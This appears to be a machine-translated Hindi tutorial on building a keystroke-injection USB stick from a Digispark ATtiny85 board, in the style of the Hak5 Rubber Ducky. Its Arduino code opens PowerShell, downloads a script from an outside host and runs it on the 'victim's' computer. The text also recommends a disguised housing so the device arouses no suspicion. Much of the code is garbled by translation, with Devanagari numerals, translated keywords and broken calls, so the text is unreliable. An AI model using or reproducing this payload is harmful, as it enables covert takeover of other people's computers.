आज, प्रवेश कैसे Hak5 से महंगी और लोकप्रिय रबर डकी की तर्ज पर अपने स्वयं के प्रोग्रामेबल यूएसबी छड़ी बनाने के लिए पर ट्यूटोरियल का एक रूप है। यह एक कीबोर्ड के सिद्धांत पर काम करेगा – कंप्यूटर से जुड़ा एक पूर्व प्रोग्राम कुंजी अनुक्रम में प्रवेश करता है। पहला कदम ATtiny85 माइक्रोकंट्रोलर – डिजिसपार्क के आधार पर एक लघु Arduino बोर्ड खरीदना है। सबसे सस्ता आप इसे लोकप्रिय नीलामी साइटों में से एक पर चीन से हमारे दोस्तों से पा सकते हैं । कीमतें $ 1 के रूप में कम से शुरू होती हैं –डिजिसपार्क कभी-कभी कुछ कंप्यूटरों (विशेष रूप से यूएसबी 3 बंदरगाहों) द्वारा डिजिसपार्क का पता लगाने में समस्या होती है, तुरंत एडाप्टर पर स्टॉक करना सबसे अच्छा होता है, जो इस समस्या को हल करता है (लागत लगभग 2 $ ) –एडाप्टर जब ऑर्डर किए गए उपकरण हम तक पहुंचते हैं तो हमें इसके पर्यावरण को प्रोग्राम करने की आवश्यकता होती है, जो एड्रुइनो आईडीई होगा –आर्डुइनो ट्यूटोरियल इसे से जोड़ने वाले डिजिस्पार्का हम यहां पा सकते हैं –योजना हमारे नियंत्रक में सीमित मात्रा में मेमोरी है, इसलिए सही पेलोड उस पर फिट नहीं हो सकता है। मैं इस समस्या के चारों ओर एक कोड है कि पेलोड के साथ एक स्क्रिप्ट डाउनलोड एक powershell, जो बदले में बाद में पीड़ित के कंप्यूटर पर चला जाएगा का उपयोग कर डाल कर चला गया:
#include "DigiKeyboard.h" शून्य सेटअप () { }
शून्य लूप () { DigiKeyboard.sendKeyStroke (0); DigiKeyboard.delay (500); DigiKeyboard.sendKeyStroke (KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay (५००); DigiKeyboard.print ("powershell"); DigiKeyboard.sendKeyStroke (५००); DigiKeyboard.printkeyStroke (५००); DigiKeyboard.sendKeyStroke (५००); DigiKeyboard.print ("powershell"); DigiKeyboard.sendKeyStroke (५००); DigiKeyboard.sendKeyStroke (५००); DigiKeyboardiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke (५००); DigiKeyboard.print ("powershell"); DigiKeyboard.sendKeyStroke (५००); DigiKeyboard.KEY_ENTER); DigiKeyboard.delay (१०००); DigiKeyboard.print("$client = नई-ऑब्जेक्ट सिस्टम. नेट. वेबकैलेंट"); DigiKeyboard.sendKeyStroke (KEY_ENTER); DigiKeyboard.delay (५००); DigiKeyboard.print ("$client । डाउनलोड फाइल ("https://my127001.pl/script.ps1", "script.ps1")); DigiKeyboard.sendKeyStroke (KEY_ENTER); DigiKeyboard.delay (2000); DigiKeyboard.sendKeyStroke (0, MOD_GUI_LEFT | KEY_R); DigiKeyboard.delay (750); DigiKeyboard.print ("powershell.exe -File script.ps1"); DigiKeyboard.sendKeyStroke (KEY_ENTER); के लिए (;) { /*खाली*/}
}
आदेश में आगे हमारे pendriva की उपस्थिति और अधिक आधिकारिक बनाने के लिए, ताकि यह संदेह जगाना नहीं है, यहलिंक के तहत डिजाइन से एक मुद्रित आवास जैसे पर मोजा लायक है-आवास पूरी बात इस तरह लग रहा है और सेकंड में पीड़ित के कंप्यूटर का नियंत्रण ले सकते हैं: प्रोग्राम